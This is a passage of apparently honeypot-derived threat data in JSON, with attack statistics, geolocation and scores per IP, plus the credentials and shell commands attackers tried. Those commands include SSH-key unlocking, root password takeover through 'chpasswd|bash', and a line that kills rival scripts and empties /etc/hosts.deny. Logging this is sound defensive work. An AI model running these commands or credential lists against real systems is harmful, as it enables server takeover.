        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 235,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T16:19:07.260000+00:00",
        "last_seen_30d": "2026-03-12T16:46:04.796000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 197,
        "Suricata": 38
      }
    },
    "185.216.116.13": {
      "attack_count": 193,
      "first_seen": "2026-03-10T07:13:06.724Z",
      "last_seen": "2026-03-10T07:38:28.381Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "sklep",
        "ubuntu",
        "clawd",
        "cliente",
        "kipt",
        "linux",
        "mike",
        "nora",
        "t128"
      ],
      "passwords_attempted": [
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "1qaz2wsx+",
        "Cliente123",
        "Qwerty123",
        "mike1234",
        "sklep123!",
        "t128123",
        "test123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"sklep123!\\nTB7UPqOMb0MM\\nTB7UPqOMb0MM\\n\"|passwd",
        "echo \"test123\\neV7aa7OeuIDy\\neV7aa7OeuIDy\\n\"|passwd",
        "echo -e \"sklep123!\\nTB7UPqOMb0MM\\nTB7UPqOMb0MM\"|passwd|bash",
        "echo -e \"test123\\neV7aa7OeuIDy\\neV7aa7OeuIDy\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 24544,
      "as_org": "Overcasts Limited",
      "threat_score": 10.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 228,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T07:13:06.724000+00:00",
        "last_seen_30d": "2026-03-10T07:39:34.212000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 35
      }
    },
    "70.65.44.183": {
      "attack_count": 193,
      "first_seen": "2026-03-15T16:16:00.646Z",
      "last_seen": "2026-03-15T16:38:12.205Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "mysql",
        "root",
        "x",
        "adm",
        "berlin",
        "butter",
        "edy",
        "jenkins",
        "nuraini",
        "yangchen"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "1qaz321x",
        "berlin",
        "dodol123",
        "edy",
        "sysadm",
        "xuelp123",
        "yangchen",
        "zaqxsw"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\njAbUW2j07IMM\\njAbUW2j07IMM\\n\"|passwd",
        "echo \"12345\\nwkuSDjbReJIN\\nwkuSDjbReJIN\\n\"|passwd",
        "echo -e \"123456\\njAbUW2j07IMM\\njAbUW2j07IMM\"|passwd|bash",
        "echo -e \"12345\\nwkuSDjbReJIN\\nwkuSDjbReJIN\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Red Deer",
      "asn": 6327,
      "as_org": "Shaw Communications",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 228,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T16:16:00.646000+00:00",
        "last_seen_30d": "2026-03-15T16:39:12.881000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 35
      }
    },
    "134.122.20.178": {
      "attack_count": 160,
      "first_seen": "2026-03-07T00:10:38.609Z",
      "last_seen": "2026-03-07T00:40:51.895Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "111111",
        "123123",
        "123321",
        "1234",
        "12345",
        "123456",
        "12345678",
        "123456789",
        "1234567890",
        "123abc",
        "123qwe",
        "1q2w3e4r",
        "1qaz2wsx",
        "654321",
        "P@ssw0rd",
        "Password1",
        "admin",
        "admin123",
        "docker",
        "letmein"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 7.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 227,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T00:10:38.609000+00:00",
        "last_seen_30d": "2026-03-07T00:40:51.895000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 160,
        "Suricata": 67
      }
    },
    "18.116.101.220": {
      "attack_count": 153,
      "first_seen": "2026-03-06T20:09:45.678Z",
      "last_seen": "2026-03-23T15:00:40.533Z",
      "sessions": 41,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1",
        "User-Agent: visionheight.com/scan Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36",
        "Accept-Encoding: gzip"
      ],
      "passwords_attempted": [
        "Host: 172.105.186.117:23",
        "Accept: */*",
        ""
      ],
      "commands_executed": [
        "Accept-Encoding: gzip",
        "",
        "Accept: */*",
        "Chrome/126.0.0.0 Safari/537.36",
        "Intel Mac OS X 10_15_7",
        "Macintosh",
        "Macintosh ; Intel Mac OS X 10_15_7",
        "User-Agent: visionheight.com/scan Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 100,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 14285,
        "days_active_30d": 30,
        "ports_targeted_30d": 175,
        "honeypots_triggered_30d": 14,
        "first_seen_30d": "2026-03-02T02:54:45.795000+00:00",
        "last_seen_30d": "2026-03-31T23:00:48.138000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9286,
        "Honeytrap": 4330,
        "Dionaea": 178,
        "Cowrie": 153,
        "Mailoney": 121,
        "Redishoneypot": 102,
        "ConPot": 71,
        "ElasticPot": 11,
        "Ipphoney": 11,
        "Ciscoasa": 8,
        "Honeyaml": 7,
        "H0neytr4p": 3,
        "CitrixHoneypot": 2,
        "Tanner": 2
      }
    },
    "170.254.80.78": {
      "attack_count": 144,
      "first_seen": "2026-03-24T14:43:34.971Z",
      "last_seen": "2026-03-24T15:18:57.362Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "mos",
        "345gs5662d34",
        "angelica",
        "deamon_root",
        "flw",
        "glassfish",
        "jesus",
        "kingbase",
        "max",
        "nelson",
        "root",
        "sgeadmin",
        "superv",
        "user0",
        "user123",
        "vhpadmin"
      ],
      "passwords_attempted": [
        "123456",
        "1234",
        "password",
        "1234!@#$qwer",
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "Flw123!",
        "User123123!",
        "kingbasepass",
        "maxpassword",
        "user0password",
        "vhpadminvhpadmin"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123456\\nJyoJwbQJISOF\\nJyoJwbQJISOF\\n\"|passwd",
        "echo -e \"123456\\nJyoJwbQJISOF\\nJyoJwbQJISOF\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Petr\u00f3polis",
      "asn": 265100,
      "as_org": "FSI Telecomunicacoes LTDA",
      "threat_score": 27.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 184,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T14:43:34.971000+00:00",
        "last_seen_30d": "2026-03-24T15:19:59.572000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 144,
        "Suricata": 40
      }
    },
    "103.172.236.32": {
      "attack_count": 123,
      "first_seen": "2026-03-03T18:23:01.666Z",
      "last_seen": "2026-03-03T18:52:52.671Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "123test123",
        "1qq2w3e4r5t",
        "3245gs5662d34",
        "345gs5662d34",
        "456852",
        "7ujm8ik,",
        "Aa123456Aa",
        "Bingo@1993",
        "debian12",
        "kit",
        "seth",
        "test123456!",
        "yj123456."
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:WZaVIVcJi2QW\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 38253,
      "as_org": "Hanoi Telecom JSC",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 155,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T18:23:01.666000+00:00",
        "last_seen_30d": "2026-03-03T18:53:57.929000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 123,
        "Suricata": 32
      }
    },
    "136.144.244.162": {
      "attack_count": 119,
      "first_seen": "2026-03-22T21:21:39.925Z",
      "last_seen": "2026-03-22T21:40:52.056Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "shares",
        "345gs5662d34",
        "backupuser",
        "bbb",
        "otrs",
        "roy",
        "sakura",
        "tibero",
        "wso2"
      ],
      "passwords_attempted": [
        "123",
        "123456",
        "12345678",
        "1qaz2wsx!QAZ",
        "3245gs5662d34",
        "345gs5662d34",
        "Sa@123456",
        "backupuser123!",
        "otrs",
        "roy1234",
        "sakura1234",
        "sharespass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"sharespass\\nVfBoxHa1BP78\\nVfBoxHa1BP78\\n\"|passwd",
        "echo -e \"sharespass\\nVfBoxHa1BP78\\nVfBoxHa1BP78\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "De Waal",
      "asn": 20857,
      "as_org": "Signet B.V.",
      "threat_score": 24.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T21:21:39.925000+00:00",
        "last_seen_30d": "2026-03-22T21:41:54.635000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "27.112.79.178": {
      "attack_count": 118,
      "first_seen": "2026-03-04T05:11:33.653Z",
      "last_seen": "2026-03-04T05:40:01.313Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "/",
        "1234Qwer",
        "1Q2W3E4R",
        "3245gs5662d34",
        "345gs5662d34",
        "7ujm8ik,",
        "Qwer@1234",
        "a039432",
        "a13960785298bb",
        "a456123456",
        "proxmox",
        "root12#$"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:fne4ip8PmalY\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 151,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T05:11:33.653000+00:00",
        "last_seen_30d": "2026-03-04T05:41:03.504000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 33
      }
    },
    "49.200.179.2": {
      "attack_count": 114,
      "first_seen": "2026-03-03T05:30:57.031Z",
      "last_seen": "2026-03-03T06:07:34.881Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1233218613",
        "123456Aa.",
        "6yhn^YHN",
        "Cloud@2025",
        "Hm123456@",
        "Mr123456",
        "Zhu12345",
        "Zj123456@",
        "ch123456",
        "qwerty123123",
        "welcome@2024"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 45820,
      "as_org": "Tata Teleservices ISP AS",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 157,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T05:30:57.031000+00:00",
        "last_seen_30d": "2026-03-03T06:08:36.824000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 114,
        "Suricata": 43
      }
    },
    "122.162.151.58": {
      "attack_count": 109,
      "first_seen": "2026-03-07T15:14:03.682Z",
      "last_seen": "2026-03-07T15:42:19.425Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "root",
        "yocto",
        "345gs5662d34",
        "ashish",
        "jupyter",
        "test123",
        "test2",
        "vboxuser"
      ],
      "passwords_attempted": [
        "123",
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "Yy123456@",
        "azerty123",
        "test123pass",
        "test21234",
        "vboxuser"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"12345\\nvDu9Xahip4y7\\nvDu9Xahip4y7\\n\"|passwd",
        "echo -e \"12345\\nvDu9Xahip4y7\\nvDu9Xahip4y7\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "New Delhi",
      "asn": 24560,
      "as_org": "Bharti Airtel Ltd., Telemedia Services",
      "threat_score": 6.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 134,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T15:14:03.682000+00:00",
        "last_seen_30d": "2026-03-07T15:43:28.607000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 109,
        "Suricata": 25
      }
    },
    "157.245.105.35": {
      "attack_count": 95,
      "first_seen": "2026-03-07T01:03:47.353Z",
      "last_seen": "2026-03-07T01:24:43.224Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root",
        "jira",
        "oracle",
        "postgres",
        "test1",
        "test2",
        "test3",
        "user",
        "vps",
        "wpyan"
      ],
      "passwords_attempted": [
        "111111",
        "123",
        "321",
        "jira",
        "oracle",
        "pass",
        "password",
        "postgres",
        "qwerty",
        "root123",
        "root321",
        "test1",
        "test2",
        "test3",
        "user",
        "vps",
        "wpyan"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 6.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 136,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T01:03:47.353000+00:00",
        "last_seen_30d": "2026-03-07T01:25:52.477000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 95,
        "Suricata": 41
      }
    },
    "149.50.220.165": {
      "attack_count": 90,
      "first_seen": "2026-03-11T13:27:28.677Z",
      "last_seen": "2026-03-11T18:14:50.188Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "123456"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Marseille",
      "asn": 212238,
      "as_org": "Datacamp Limited",
      "threat_score": 11.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 139,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T13:27:28.677000+00:00",
        "last_seen_30d": "2026-03-11T18:15:50.939000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 90,
        "Suricata": 49
      }
    },
    "206.189.22.92": {
      "attack_count": 87,
      "first_seen": "2026-03-26T19:03:15.326Z",
      "last_seen": "2026-03-26T19:04:20.673Z",
      "sessions": 39,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "service"
      ],
      "passwords_attempted": [
        "admin123",
        "admin1234",
        "default",
        "service"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 31.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.1,
        "persistence": 1.7,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 130,
        "days_active_30d": 2,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T10:02:14.006000+00:00",
        "last_seen_30d": "2026-03-27T09:59:26.577000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 87,
        "Suricata": 43
      }
    },
    "154.221.19.162": {
      "attack_count": 84,
      "first_seen": "2026-03-09T17:23:32.006Z",
      "last_seen": "2026-03-09T17:28:42.511Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "omar",
        "345gs5662d34",
        "ben",
        "ethan"
      ],
      "passwords_attempted": [
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "Ethan123!",
        "benpass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"12345\\nmsLjj67R99nV\\nmsLjj67R99nV\\n\"|passwd",
        "echo -e \"12345\\nmsLjj67R99nV\\nmsLjj67R99nV\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 142403,
      "as_org": "YISU CLOUD LTD",
      "threat_score": 8.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 96,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T17:23:32.006000+00:00",
        "last_seen_30d": "2026-03-09T17:29:46.757000+00:00",
